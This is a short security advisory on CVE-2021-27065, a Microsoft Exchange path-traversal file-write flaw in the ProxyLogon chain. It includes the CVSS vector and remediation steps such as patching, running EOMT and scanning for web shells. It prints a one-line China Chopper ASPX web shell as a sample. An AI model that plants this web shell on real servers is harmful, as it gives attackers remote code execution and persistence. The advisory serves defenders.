CVE-2021-27065
HIGHCVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
5Description
Microsoft Exchange Server Remote Code Execution Vulnerability
Analysis
Microsoft Exchange Server allows post-authentication arbitrary file write that enables web shell deployment, the primary persistence mechanism in the ProxyLogon attack chain responsible for compromising 250,000+ servers.
Technical Context
The CWE-22 path traversal in Exchange's file handling allows writing arbitrary content to paths controlled by the attacker. The exploit writes a one-line ASPX web shell (typically the 'China Chopper' web shell: `<%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe")%>`) to the OWA virtual directory.
Affected Products
['Microsoft Exchange Server 2013/2016/2019']
Remediation
Apply patches AND scan for web shells. Check C:\inetpub\wwwroot\aspnet_client\, OWA, and ECP directories for suspicious .aspx files. Run Microsoft's Exchange On-premises Mitigation Tool (EOMT). Review IIS logs for web shell access.
Priority Score
Share
External POC / Exploit Code
Leaving vuln.today